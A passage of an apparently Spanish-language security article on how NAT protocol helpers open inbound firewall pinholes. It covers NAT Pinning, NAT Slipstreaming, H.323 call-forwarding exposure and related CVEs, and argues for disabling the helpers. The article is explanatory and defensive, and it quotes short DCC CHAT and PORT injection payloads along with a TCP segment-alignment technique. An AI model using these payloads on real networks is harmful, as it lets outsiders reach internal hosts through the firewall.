quién está dentro de ese perímetro. No solo tu plantilla: un visitante en la red de invitados, el portátil de un contratista, cualquiera con un navegador. El ataque no necesita credenciales, ni un punto de apoyo previo, ni malware, porque el vehículo es el navegador y ya está instalado y ya goza de confianza.\nAhora pon eso junto a para qué sirve un cortafuegos: para que nada de fuera inicie una conversación con nada de dentro salvo que tú lo hayas dicho. El ayudante es la excepción, y esa excepción se concede por la autoridad de una cadena de texto dentro de un paquete.\nQué es en realidad un ayudante de protocolo Un NAT normal es una cosa tonta y honrada. Llega un paquete, reescribe la dirección y el puerto de origen en la cabecera, anota una entrada para poder deshacerlo en la respuesta, y lo reenvía. Nunca mira por debajo de la cabecera de transporte, y le da igual que los bytes de dentro sean una petición web, una consulta a una base de datos o la foto de un perro.\nEso funciona hasta que un protocolo escribe una dirección dentro de su propia carga útil. FTP lo hace, en texto plano dentro del flujo de control: conéctate de vuelta a mí en esta dirección, en este puerto. SIP lo hace en los campos Via, Contact y SDP, H.323 lo hace, e IRC lo hace para las transferencias directas. Todos se diseñaron cuando la dirección de un equipo era la dirección de ese equipo y cualquier máquina podía alcanzar a cualquier otra, y bajo esa premisa es perfectamente razonable. Mete un traductor en el camino y la dirección de la carga útil se convierte en una mentira.\nUn traductor simple lee la cabecera. Un ayudante lee la carga útil y abre un hueco según lo que encuentra. El mismo punto del camino. Uno de los dos lee la carta además del sobre. Un traductor simple Un ayudante de protocolo El paquete que llega [cab. IP 192.168.1.29:51000] [ carga útil ] El paquete que llega [cab. IP 192.168.1.29:51000] [ PORT 192,168,1,29,4,0 ] Qué hace Reescribe dirección y puerto de origen en la cabecera Corrige las sumas de comprobación Escribe una fila para poder invertir la respuesta Lo reenvía Qué hace Todo eso, y además lee la carga útil y encuentra dirección y puerto en ella los reescribe también y desplaza los números de secuencia escribe otra fila: permitir esta conexión entrante Tablas que mantiene Solo la tabla de traducción. Una fila, un flujo, reversible. Nada de la carga útil puede añadir una fila. Tablas que mantiene Tabla de traducción, y una tabla de expectativas. Una fila de la segunda es una regla entrante de cortafuegos. La segunda tabla es todo el asunto. Dice: si llega de fuera una conexión que encaja con este patrón, déjala pasar. Nadie la escribió, nadie la aprobó. Dos dispositivos en el mismo punto del camino. El traductor normal reescribe la cabecera y reenvía el paquete, y nunca lee la carga útil. El ayudante lee la carga útil, reescribe la dirección que encuentra ahí, y escribe una entrada en una segunda tabla que más tarde permitirá una conexión entrante. Esa segunda tabla es el tema de este artículo. Así que se inventó el ayudante. Lee la carga útil, encuentra la dirección, la reescribe a la dirección pública, y entonces hace la parte que todo el mundo pasa por alto: crea una entrada que permite exactamente la conexión entrante que acaba de describir la carga útil. Netfilter llama a esa entrada una expectativa. Cisco la llama un pinhole, o una puerta NAT7. Palo Alto la llama un pinhole NAT dinámico8. Juniper la llama una gate. Otra palabra, el mismo objeto: un agujero en el perímetro, abierto por la autoridad de algo leído dentro de un paquete.\nEl IETF le puso nombre al patrón antes de que existieran la mayoría de estos productos. Un ALG, dice el RFC 2663, es un «application specific translation agent» que «may interact with NAT to set up state, use NAT state information, modify application specific payload and perform whatever else is necessary to get the application running across disparate address realms»9. Léelo otra vez pensando en un adversario: whatever else is necessary, dirigido por application specific payload. Y ya en febrero de 2002 la taxonomía de middleboxes del IETF nombraba el mecanismo, observando que algunos ALG causan problemas de fragmentación «although in this case the problem is arguably the result of a deliberate layer violation (e.g., mucking with the application data stream of an FTP control connection by twiddling TCP segments on the fly)»10.\nUna violación de capa deliberada. Manosear segmentos TCP al vuelo. Ese es el mecanismo, descrito por las personas que lo cartografiaron hace veinticuatro años, y es el mismo mecanismo por el que pasa de largo cada ataque de este artículo.\nLa expectativa es todo el problema Todo lo demás en este artículo se deduce de un solo objeto, así que vale la pena entenderlo bien.\nUna expectativa es una conexión preautorizada: una tupla de dirección de origen, puerto de origen, dirección de destino, puerto de destino y protocolo, con algunos campos rellenos y otros dejados como comodines, más un temporizador. Si llega un paquete que encaja, el cortafuegos lo trata como emparentado con un flujo permitido que ya existe en lugar de como una conexión entrante nueva, lo deja pasar y consume la expectativa. En Linux las lees directamente de /proc/net/nf_conntrack_expect, o con conntrack -L expect. En un sistema sano esa lista está vacía, y ese es justo el punto: las expectativas deberían ser raras, de vida corta y provocadas por algo que un equipo de dentro pidió de verdad.\nUna expectativa es una regla entrante con huecos, y los huecos son el modelo de seguridad Un objeto, cinco campos y un temporizador. Qué campos van vacíos es todo el modelo de seguridad. expect proto=tcp src=\u0026lt;quién puede conectar\u0026gt; sport=\u0026lt;cualquiera\u0026gt; dst=\u0026lt;dónde cae\u0026gt; dport=\u0026lt;qué puerto\u0026gt; timeout=300 Ayudante Quién puede conectar Dónde cae Qué puerto Peor caso FTP el servidor, fijado el cliente, fijado de la carga útil todo puerto de un equipo IRC cualquier dirección el cliente, fijado de la carga útil todo puerto, de cualquiera H.323 cualquier dirección de la carga útil de la carga útil todo puerto de todo equipo Azul: fijado por el cortafuegos desde la conexión que ve.\u0026#160;\u0026#160;Oro: de la carga útil.\u0026#160;\u0026#160;Rosa: abierto, por diseño. 1. ¿Qué campos son comodines? Un origen comodín significa que el hueco no queda reservado al extremo remoto que lo creó. Quien llegue antes a tu interfaz externa se lo queda. El ayudante IRC tiene que hacerlo, porque el protocolo realmente no puede saber quién se va a conectar, buena descripción de un protocolo al que no habría que ayudar. 2. ¿Quién aportó los valores? El cortafuegos no. La carga útil, y la escribió el extremo de la conversación que el ayudante estaba leyendo en ese momento. En esa frase no aparece autenticación por ninguna parte. 3. ¿A qué puede apuntar el hueco? En casi todos, al equipo que lo creó. En H.323, a lo que diga la carga útil, porque el desvío nombra a un tercero. Una expectativa es una regla de cortafuegos con algunos campos dejados en blanco y un temporizador encima. Tres preguntas deciden si es segura, y son las tres preguntas correctas para cualquier ayudante en cualquier plataforma. Dos de esas respuestas son peores de lo que la gente espera. Los valores vienen de la carga útil y no del cortafuegos, es decir, del extremo de la conversación que el ayudante resultó leer. Y en el ayudante de IRC la dirección de origen es un comodín por diseño, porque el protocolo no puede saber quién se va a conectar: «creates expectations whose destination address is the client address and source address is any address»11.\nEsta es la frase que hay que llevarse. Una expectativa es una regla de cortafuegos entrante, creada a velocidad de línea, por una parte no confiable, sin ningún rastro de quién la pidió ni por qué. Guárdala hasta la sección de Cyber Essentials, porque allí es el argumento entero.\nTal como se diseñó: FTP dice PORT, y el cortafuegos se lo cree Coge el ayudante más simple y mira cómo funciona correctamente, porque el ataque es la misma secuencia con un participante sustituido. El FTP activo usa dos conexiones. El cliente abre una conexión de control al servidor por el puerto 21 y le manda comandos en ASCII llano, y cuando hace falta una transferencia abre un socket a la escucha y envía un comando PORT con la dirección y el puerto a los que devolver la llamada, tras lo cual el servidor se conecta hacia dentro. Eso es el protocolo tal como está especificado, y así funciona desde 1985. En el cable son seis números, cuatro para la dirección y dos para el puerto, el byte más alto primero:\nPORT 192,168,1,29,4,0 Eso es 192.168.1.29, puerto 1024, porque 4 × 256 + 0 = 1024.\nFTP activo vía ayudante: cuatro pasos, todos correctos, y solo dos cosas comprobadas FTP activo exactamente según la especificación, y qué se comprobó antes de abrir el hueco Cliente FTP 192.168.1.29 Cortafuegos + ayudante 203.0.113.10 Servidor FTP 198.51.100.7 1\u0026#160;\u0026#160;conexión de control saliente al puerto 21 \u0026#8212; permitida, empezó dentro 2\u0026#160;\u0026#160;el cliente escucha y escribe su propia dirección en el flujo PORT 192,168,1,29,4,0 3\u0026#160;\u0026#160;el ayudante actúa reescribe la dirección, crea la expectativa PORT 203,0,113,10,4,0 expect src=198.51.100.7 dst=192.168.1.29 dport=1024 4\u0026#160;\u0026#160;el servidor conecta hacia dentro, la expectativa encaja, fluyen los datos Mira qué verificó el cortafuegos antes de que el paso cuatro fuera posible. Que los bytes iban por una conexión al puerto 21. Que empezaban por los cuatro caracteres PORT. Eso es todo, porque no hay más que comprobar. FTP no lleva firma, ni clave de sesión, ni nada más que se pueda verificar. FTP activo a través de un ayudante, haciendo exactamente aquello para lo que se diseñó, correcto en cada paso. Fíjate en qué comprobó el cortafuegos antes de abrir el hueco: que los bytes iban por el puerto 21 y empezaban por PORT. Nada más, porque no hay nada más que comprobar. El ayudante vigila ese flujo, ve PORT, reescribe la dirección de la privada a la pública ajustando los números de secuencia porque el texto cambió de longitud, y crea una expectativa que permite la conexión entrante del servidor al puerto indicado. Genuinamente útil, perfectamente razonable dadas las limitaciones de 1994, y correcto en cada paso.\nMira bien qué se comprobó antes de que se abriera el hueco. Los bytes iban por una conexión al puerto 21. Empezaban por PORT. Eso es todo. Nada más, porque no hay nada más que comprobar: FTP no ofrece firma alguna, ni clave de sesión, ni autenticación de ningún tipo, y el ayudante está leyendo un flujo del que no forma parte.\nEn ese código hay algo más, y es un aviso que los autores se escribieron a sí mismos. Si la dirección del comando PORT no es la del propio cliente — es decir, si el cliente le pide al servidor que se conecte a otro sitio —, el ayudante de Linux lo rechaza por defecto, y el comentario del código fuente dice por qué: «DMZ machines opening holes to internal networks, or the packet filter itself»12. Pon el parámetro de módulo loose y ese rechazo desaparece. Quienes escribieron el ayudante sabían exactamente a qué se le podía inducir. Publicaron el valor por defecto seguro y un interruptor, y veinticinco años después el interruptor sigue ahí.\nNo como se diseñó: los mismos bytes, desde una página web Un ayudante lee un flujo de bytes buscando un patrón. No comprueba, y estructuralmente no puede comprobar, si lo que hay al otro lado es el cliente que dice ser. Samy Kamkar publicó la consecuencia en enero de 2010 y la llamó NAT Pinning1. El truco es vergonzosamente pequeño: pon un formulario en una página web, apúntalo al servidor del atacante en el puerto 6667, y haz que su contenido lleve dentro una petición de chat directo.\nPRIVMSG samy :^ADCC CHAT samy 3325256705 22^A El navegador lo envía creyendo que hace un POST de HTTP. El ayudante de IRC del router, vigilando una conexión al puerto 6667, ve pasar DCC CHAT con una dirección y un puerto y hace aquello para lo que se construyó. La dirección de ahí es 198.51.100.1 escrita como un solo número decimal, porque así la codifica el protocolo, y el puerto es el 22; nada de ese texto lo eligió la víctima. La variante de FTP es la misma idea apuntada al puerto 21, con una línea de respuesta en modo pasivo en su lugar1.\nNada de cross-site scripting. Nada de request forgery en el sentido habitual. Ninguna vulnerabilidad del navegador. El navegador hizo lo que hacen los navegadores, el cortafuegos hizo aquello para lo que estaba configurado, y el resultado es una redirección de puerto hacia el atacante.\nDos columnas que el ayudante no distingue, porque en el cable no hay nada que distinguir El protocolo tal como se diseñó, y una página web. El ayudante ve una sola imagen. Un cliente real Un formulario oculto Qué lo inicia Alguien abre un cliente FTP o IRC y se conecta El cliente abre un socket y lo nombra en el flujo PORT 192,168,1,29,4,0 Qué lo inicia Alguien abre una página. Esa es toda su contribución. Un formulario postea al servidor del atacante, mismo puerto PORT 192,168,1,29,4,0 Qué comprueba el ayudante puerto de destino encaja\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí palabra clave al inicio\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí sintaxis analizable\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí dirección y puerto presentes\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí Qué comprueba el ayudante puerto de destino encaja\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí palabra clave al inicio\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí sintaxis analizable\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí dirección y puerto presentes\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;sí se abre un puerto entrante, idéntico, en ambas columnas Lo que difiere son las tres cosas que el ayudante no puede ver. Si hubo un cliente. Si la persona lo pretendía. Quién eligió la dirección y el puerto. Nada de eso deja rastro en el cable, así que ningún cuidado en el analizador lo recupera. Ambas columnas están perfectamente formadas. El mismo ayudante, el mismo reconocimiento de patrón, la misma expectativa — y en ninguna parte del dibujo hay un cliente FTP o IRC. Todas las comprobaciones que hace el ayudante se superan igual en ambas columnas, porque en el cable no hay diferencia que encontrar. Eso fue en 2010. Hace dieciséis años. Los fabricantes de navegadores metieron los puertos de IRC en su lista de bloqueo, lo cual cerró esa puerta concreta y dejó la habitación exactamente como estaba.\nDi el punto sin rodeos, porque se pierde entre los nombres de fabricante y los números de CVE. Los ataques no explotan un fallo en los ayudantes. Usan los ayudantes correctamente. Cada paquete está bien formado y cada comprobación se supera honradamente. La función hace su trabajo, y su trabajo es el problema.\nColocar los bytes donde el ayudante va a leer Entre NAT Pinning y algo mucho peor había un obstáculo real, y la forma de rodearlo es lo más ingenioso de todo el asunto. La mayoría de los ayudantes no buscan un patrón en cualquier sitio de un flujo: comprueban que la palabra clave esté al principio de la parte de datos de un paquete, lo cual es cierto en un mensaje de protocolo real y nunca en el cuerpo de una petición HTTP, porque ese cuerpo llega después de un montón de cabeceras que el atacante no controla. Samy cita el propio comportamiento del kernel: el manejador abandona salvo que el método esté al principio de los datos2.\nAsí que el atacante necesita que el navegador emita un segmento cuyo primerísimo byte sea la palabra clave. No puede escribir las cabeceras, pero sí el cuerpo, y tan largo como quiera, lo cual convierte el problema en aritmética.\nMover el límite del segmento hasta que la palabra clave caiga donde el ayudante lee El ayudante lee el primer byte de un segmento. Así que el atacante mueve los cortes. Tal como lo enviaría el navegador segmento 1 POST / HTTP/1.1 Host: ... segmento 2 ...cabeceras... PORT 192,168,... segmento 3 ...1,29,4,0 relleno relleno La palabra clave queda en mitad del segmento dos, así que el ayudante pasa de largo y no hace nada. Tras fijar el atacante el tamaño de segmento, o confirmar solo parte del flujo segmento 1 POST / HTTP/1.1 Host: ... segmento 2 ...cabeceras y relleno... segmento 3 PORT 192,168,1,29,4,0 La palabra clave es ahora el primer byte de un segmento. El ayudante la lee y abre el puerto. Las dos palancas, y ninguna es un ataque contra TCP. El servidor del atacante es un extremo de la conexión, así que anuncia el tamaño máximo de segmento que usará la pila de la víctima, y decide cuánto del flujo confirmar. Confirma una parte y la víctima retransmite desde el desplazamiento que el atacante eligió. Ambas cosas son TCP corriente y conforme, usado con toda intención. Por qué importa el relleno. El ayudante solo lee una palabra clave de protocolo si es el primer byte de un segmento, así que un atacante que solo controla el cuerpo de una petición tiene que mover el límite del segmento hasta que caiga ahí. Ambas palancas son TCP corriente, usado a propósito. El navegador envía una petición grande con un separador reconocible escondido en el cuerpo; el servidor del atacante escucha, mide cuántos bytes de cabecera lo precedieron y con eso conoce el desplazamiento. Después, o bien anuncia un tamaño de segmento que deja el byte deseado en un límite, o bien envía una confirmación parcial para que la víctima retransmita empezando justo ahí — y Armis añade que la ventana TCP de esas confirmaciones también se puede fabricar, «in order to fully control how the TCP stream is to be segmented»3. Ese es todo el truco, y no usa más que el extremo remoto de una conexión que el propio navegador de la víctima abrió.\nCon eso en la mano, el navegador es un generador de paquetes universal apuntado al interior de tu cortafuegos. No perfecto, porque no puede poner cabeceras arbitrarias ni elegir protocolos arbitrarios, pero nunca hizo falta. Solo tiene que colocar los treinta bytes correctos al principio de un segmento.\nEl trabajo de 2021 se saltó casi toda la aritmética. Una conexión de relay del navegador sobre TCP lleva un campo de nombre de usuario controlado por el atacante, enviado pronto, que admite saltos de línea y bytes nulos mientras el resultado sea texto válido — Armis mostró una captura en la que ese campo es la cadena \\r\\nPORT 192,168,1,29,4,0\\r\\n, con una confirmación parcial que hace que la víctima retransmita justo desde el PORT3. Peor aún, ese camino no consultaba la lista de bloqueo del navegador en absoluto, con lo que la única medida que el sector había publicado dos veces quedaba sorteada sin esfuerzo.\nNAT Slipstreaming, de principio a fin Junta las piezas y este es el ataque entero, en orden.\nDel clic a la conexión entrante en seis pasos, ninguno de ellos una vulnerabilidad Seis pasos. Cuatro son web y TCP corrientes. Uno es tu cortafuegos. Uno es el atacante. 1 La víctima abre una página Un anuncio, un enlace en un mensaje, lo que sea. Esa es toda la participación de la persona. web corriente 2 La página averigua la dirección interna Entregada por la interfaz de medios del navegador, o acotada cronometrando pasarelas habituales. web corriente 3 El atacante mide el camino Una petición sobredimensionada con un marcador, y una captura en el extremo remoto para ver los cortes. TCP corriente 4 La página envía la carga útil real Rellenada para que la palabra clave caiga en un límite de segmento, como muestra el diagrama anterior. TCP corriente 5 Tu cortafuegos abre el puerto El ayudante reconoce el mensaje, reescribe la dirección que lleva dentro y escribe la expectativa. tu cortafuegos 6 El atacante conecta hacia dentro A tu dirección pública, por el puerto traducido. La expectativa encaja y el cortafuegos lo reenvía dentro. tu cortafuegos Cuenta las vulnerabilidades explotadas en la máquina de la víctima. No hay ninguna. El navegador estaba parcheado. El sistema también. No se instaló nada y no se usó ninguna credencial. Segundos, un clic, y el único componente que podría haberse negado era el construido para negarse. La cadena completa, del clic a la conexión entrante. Los pasos uno a cuatro son comportamiento web y TCP corriente. El paso cinco es la función del cortafuegos funcionando exactamente como está documentada. La única pieza que podría haber dicho que no es la pieza cuyo propósito entero es decir que no. Tiempo total transcurrido: segundos. Interacción total del usuario: un clic. Vulnerabilidades explotadas en la máquina de la víctima: ninguna.\nLa cronología de la divulgación es prueba por sí sola. Samy publicó el 31 de octubre de 2020, Armis contactó tres días después, y la notificación coordinada a los fabricantes de navegadores empezó el 11 de noviembre. Chrome publicó una medida el 6 de enero de 2021, Edge al día siguiente, Safari el 14 en beta y el 1 de febrero en estable, Firefox el 263, registrado como CVE-2020-16043, CVE-2021-23961 y CVE-2021-1799.\nCuatro fabricantes de navegadores publicando parches de emergencia por una función de cortafuegos. Armis explica por qué con sus propias palabras: «While the underlying issue of this attack is the way NATs are implemented (in various ways in routers and firewalls, throughout numerous vendors and applications), the easiest and fastest way to mitigate was through a patch to browsers»3.\nEso no es un arreglo. Son cuatro sectores distintos apilando sacos terreros delante de la puerta de otro, porque esa puerta nunca se iba a cambiar.\nEl desvío de llamada de H.323 apunta a cualquier cosa de tu red La mayoría de los ayudantes limitan el daño sin pretenderlo. El ayudante de FTP fija el destino de la expectativa al cliente que la creó, así que lo peor que consigue un atacante es un puerto en la máquina que hizo clic: malo, pero sobrevivible.\nH.323 es catastrófico, y la razón es una función de telefonía.\nUna centralita tiene que soportar el desvío de llamada, y una llamada desviada es por definición una llamada con alguien que no está al teléfono. Así que la señalización tiene que poder nombrar un tercer extremo, y el ayudante tiene que abrir un camino hacia él, o el desvío a través de NAT no funciona en absoluto. Cualquier implementación seria puede hacerlo, y el ayudante de netfilter documenta el comportamiento explícitamente, con dibujo, en el sitio de netfilter13. Armis leyó el código y resumió la consecuencia en una frase: «a single H.323 packet sent over TCP port 1720 that initiates call forwarding can open a pinhole (named an expectation in the conntrack subsystem) to any TCP port of any internal IP on the network»3.\nFijado a un equipo, o apuntado a cualquier cosa de la red Casi todos solo alcanzan la máquina que hizo clic. Uno de ellos no se puede acotar. FTP, SIP, IRC H.323, con desvío de llamada La expectativa dice dst = el equipo cuya conexión la creó La expectativa dice dst = la dirección que nombró la carga útil la máquina que hizo clic 192.168.1.29 la impresora puerto 9100 la cámara contraseña por defecto el controlador sin autenticación Alcance del daño Una máquina. Todos sus puertos, mientras viva la regla, lo cual ya es malo pero se sobrevive. El equipo está gestionado, parcheado y ejecutando algo que registra. Alcance del daño Todas las direcciones de la red, un mensaje cada una. Recorre el rango, lee los banners, elige objetivo. Ninguno de esos equipos hizo jamás una petición ni ejecutó un navegador. El desvío de llamada es toda la diferencia, y es una función, no un fallo. Una llamada desviada va a alguien que no está al teléfono: la señalización nombra a un tercero y el ayudante obedece. Por qué un ayudante cae en una categoría distinta del resto. Fija la expectativa al equipo que la creó y el atacante alcanza una máquina. Deja que el desvío de llamada nombre a un tercero, como exige el protocolo, y el atacante recorre en su lugar todo tu rango de direcciones. Cualquier puerto TCP. Cualquier dirección interna. A partir de un paquete, que el atacante consiguió que enviara un navegador.\nCon eso, el ataque deja de tratar sobre la máquina de la víctima y se convierte en un escaneo de puertos de tu red interna, ejecutado desde internet, con los resultados leídos de vuelta por conexiones que tu propio cortafuegos permite. Los dispositivos que encuentra son el meollo, porque no están parcheados, a menudo no se pueden parchear, y el modelo de seguridad de la mayoría de ellos es está dentro. Armis le puso una cifra a esa premisa: un año después de la publicación, el 97 % de los controladores industriales vulnerables a un conjunto de fallos críticos seguían sin parchear3. Nadie dice que esa cifra esté bien. Es la realidad que sostiene «está dentro».\nAsí que H.323 es lo primero que hay que tratar en cualquier plataforma, porque es lo único que alcanza más allá de la víctima, y como además es el protocolo que ya casi nadie usa, es la mejora de seguridad más barata de este artículo. Apágalo. Nadie te llamará por ello.\nEl ayudante puede dispararse con un mensaje que tú nunca enviaste Una variante merece su propia sección, porque destruye la premisa a la que se agarra la gente cuando busca una razón para no hacer nada: vale, pero el disparo tiene que venir de dentro, así que controla los navegadores y controlas el problema.\nNo.\nEn julio de 2022 David Leadbeater encontró dos fallos en el ayudante de IRC de Linux14. El módulo busca la cadena \\1DCC en cualquier parte del flujo en lugar de comprobar que esté en el sitio correcto de un mensaje bien enmarcado, y la comprobación de dirección compara con la dirección del servidor de chat en vez de con el equipo detrás del traductor, con lo que basta la dirección públicamente conocida de un servidor público. Junta las dos y un atacante envía al cliente de la víctima un ping de cliente a cliente — algo perfectamente normal de recibir de otro usuario — con una petición de transferencia directa dentro:\nPRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A Según las reglas del protocolo, un cliente responde a un ping devolviendo el contenido, así que el cliente de la víctima envía esa cadena obedientemente hacia fuera, y el ayudante, vigilando el flujo saliente, encuentra DCC dentro y abre el puerto.\nUn puerto abierto por un mensaje que la víctima nunca redactó Nadie de dentro hizo clic. El propio cliente de la víctima emitió el disparo, a petición. El cliente de la víctima 192.168.1.29 Cortafuegos + ayudante IRC leyendo el flujo Un desconocido cualquier otro usuario, cualquier red 1\u0026#160;\u0026#160;un ping normal, con una petición de chat directo oculta en la carga útil PRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A 2\u0026#160;\u0026#160;el protocolo manda responder al ping devolviendo la carga, y eso hace 3\u0026#160;\u0026#160;las dos comprobaciones del ayudante pasan, y ninguna debería busca la palabra clave en cualquier parte del flujo, no al inicio de un mensaje enmarcado valida la dirección contra el servidor de chat, no contra el equipo tras el traductor 4\u0026#160;\u0026#160;la expectativa existe, y el puerto 22 está abierto hacia la víctima Todo en esa secuencia siguió su especificación. El desconocido envió un mensaje lícito. El cliente respondió como exige el protocolo. El ayudante reconoció el patrón para el que fue escrito. Nadie decidió nada, y ningún registro parecerá lo más mínimo extraño. El disparo no tiene por qué venir de alguien en quien confías, ni de un navegador, ni de nada que un usuario hiciera a propósito. Cada pieza de software del dibujo siguió su especificación al pie de la letra, y el resultado es un puerto abierto y nada raro en ningún registro. Nadie de dentro hizo nada mal y nadie hizo clic. El cliente siguió la especificación, y entre la especificación y el ayudante produjeron un hueco entrante al puerto 22 de una máquina de la red. Se le asignó el CVE-2022-2663, y la descripción de la base de datos nacional de vulnerabilidades es admirablemente clara: «A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured»15.\nFíjate en la palabra unencrypted. Recuérdala también.\nLa recomendación del autor es exactamente donde desemboca el resto de este artículo por otro camino: «Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore»14.\nLos analizadores son la otra mitad Hasta aquí el tema han sido ayudantes funcionando correctamente. Hay un segundo problema, aparte: son analizadores de protocolo escritos en C, ejecutándose en el camino rápido de un dispositivo de seguridad, sobre datos que aportan desconocidos, y tienen la tasa de fallos que cabe esperar de esa descripción. Y esto no es un problema de Linux ni de routers baratos: aparece en todos los fabricantes, en el código por el que más cobran.\nCVE Componente Qué consigue un paquete fabricado CVE-2018-0051 Junos SIP ALG Tumba el demonio de flujo en SRX y MX; señala además que el SIP ALG viene activado salvo en los modelos de gama alta CVE-2018-15454 Inspección SIP de Cisco ASA / FTD Reinicia el dispositivo o clava el procesador CVE-2022-2663 Linux nf_conntrack_irc Abre puertos a través del cortafuegos, como arriba CVE-2023-22412 Junos SIP ALG «Specific SIP messages» tumban el demonio de flujo de forma reproducible CVE-2023-22415 Junos H.323 ALG Escritura fuera de límites a partir de «specific H.323 packets» CVE-2024-21616 Junos SIP ALG Un paquete SIP agota el pool de NAT y el tráfico real deja de traducirse CVE-2024-26851 Linux nf_conntrack_h323 Desplazamiento de bits fuera de rango al decodificar el mapa de bits de H.323 CVE-2024-39551 Junos H.323 ALG Memoria agotada por «specific packets» hasta que el tráfico se detiene Todos ellos son alcanzables desde la red sin autenticación alguna, por cualquiera que pueda hacer llegar un paquete a la interfaz externa, es decir, por cualquiera. Y lee el lenguaje: specific SIP messages, specific H.323 packets, a specific SIP packet. Eso no es un protocolo cediendo bajo carga. Es alguien construyendo un paquete a propósito.\nQuédate un momento con el caso de Cisco. El CVE-2018-15454 se publicó el 31 de octubre de 2018 con una gravedad de 8,6, se explotó en la práctica, y el aviso decía que la actualización de software aún no estaba disponible16. La medida paliativa de Cisco, en su propio aviso, es no inspect sip. O sea, que la respuesta del fabricante a un fallo activamente explotado en la función fue apagar la función, lo cual plantea la pregunta sobre la que descansa el resto del artículo. Si apagarlo es una respuesta aceptable durante un incidente, ¿sobre qué base está encendido el resto del tiempo?\nUn ayudante solo funciona si no cifras Esta es la parte que debería zanjar la discusión por sí sola, y es la que menos atención recibe. Un ayudante de protocolo lee tu carga útil y no puede leer una cifrada. Así que un ayudante solo hace algo con tráfico que dejaste deliberadamente sin cifrar, y mantener el ayudante en funcionamiento significa mantener ese tráfico sin cifrar.\nTodos los protocolos de la lista llevan más de una década con un modo cifrado. FTP tiene TLS desde 200517; actívalo y los intercambios PORT y PASV son invisibles y el ayudante no hace nada. SIP tiene TLS desde su especificación base, con medios cifrados al lado. H.323 tiene su propio anexo de seguridad. El chat tiene TLS desde hace muchísimo, y el consejo oficial junto al CVE-2022-2663 era literalmente usarlo para que el ayudante no vea tus peticiones de transferencia15.\nEl ayudante necesita texto en claro: mantenerlo es mantener el texto en claro Puedes tener el cifrado o puedes tener el ayudante. No hay tercera columna. Canal de control cifrado Ayudante funcionando Lo que ve el ayudante 17 03 03 01 a4 9c 2f e1 8b 44 d0 ... cifrado Sin palabra clave. Sin dirección. Sin puerto. Nada que encajar. Lo que ve el ayudante REGISTER sip:example ... Contact: 192.168.1.29:5060 Y también lo ve cualquier otro equipo entre tú y ellos. Lo que eso te cuesta El ayudante no hace nada, así que los extremos tienen que resolver su propia traducción \u0026#8212; cosa que cada uno de estos protocolos sabe hacer desde hace una década. Lo que eso te cuesta Credenciales de registro, quién llamó a quién, y cada dirección interna, en claro, por cada red que hay entre los dos extremos. Y ninguna la controlas tú. Desde hace tanto existe el modo cifrado FTP sobre TLS desde 2005\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;SIP sobre TLS con medios cifrados\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;chat sobre TLS desde hace décadas\u0026#160;\u0026#160;\u0026#183;\u0026#160;\u0026#160;H.323 con su propio anexo La forma honrada de «necesitamos el ayudante SIP» es una frase que nadie dice en voz alta. Es esta: necesitamos que nuestra señalización cruce en claro redes ajenas, para que una caja ajena la reescriba. El intercambio que nadie escribe. Un ayudante solo funciona sobre carga útil que puede leer, así que las dos columnas se excluyen mutuamente. La de la derecha es lo que en realidad te pide un SIP ALG que funciona. Así que la formulación honrada de «necesitamos el SIP ALG» es: necesitamos que nuestra señalización de llamadas viaje sin cifrar por redes no confiables, para que un middlebox que no controlamos pueda reescribirla. Dilo así en una revisión de diseño y mira hasta dónde llegas.\nHay una versión más afilada, y por eso esto no está ni cerca de ser discutible. Dejar un ayudante encendido es un incentivo permanente contra el cifrado: el día que alguien active SIP sobre TLS, las llamadas se rompen y el ayudante es la razón, así que el cambio se revierte y el texto en claro se queda otro año. Pregúntale a cualquiera que lo haya intentado detrás de un cortafuegos doméstico cómo le fue.\nTodos los demás protocolos de internet han ido en la dirección contraria: tráfico web cifrado por defecto, DNS cifrado, transporte de correo cifrado, QUIC cifrando incluso la cabecera de transporte precisamente para que los middleboxes no puedan leerla ni cambiarla. La era del middlebox terminó hace años en la internet abierta, y los últimos sitios que aún dependen de un dispositivo intermedio que lee la carga útil son los sitios donde alguien dejó un ayudante encendido.\nIPsec es el caso en el que el ayudante no puede leer nada Lo que plantea la pregunta obvia sobre el protocolo que no es más que cifrado. La respuesta es peor de lo que imaginarías.\nESP no tiene números de puerto, porque es un protocolo IP por derecho propio y no algo transportado sobre UDP, y un traductor demultiplexa el tráfico de vuelta por puerto. Así que con dos clientes detrás de una misma dirección pública yendo a la misma pasarela no hay nada que distinga sus paquetes entrantes. El RFC 3715 lo dejó escrito en marzo de 2004: un NAT no puede aprender la correspondencia por inspección, y «it is possible that the NAT will deliver the incoming IPsec packets to the wrong destination»18.\nAsí que los fabricantes construyeron un ayudante. Vigila el intercambio IKE en UDP 500, cuyos primeros paquetes van en claro, cosecha las cookies y el índice de parámetros de seguridad, y abre una puerta para que el ESP entrante que lleve ese valor llegue al equipo correcto de dentro. Juniper lo describe con la mayor claridad: «When ESP traffic hits the IKE ALG gates, sessions are created to capture subsequent ESP traffic»19. El inspect ipsec-pass-thru de Cisco hace lo mismo con ESP 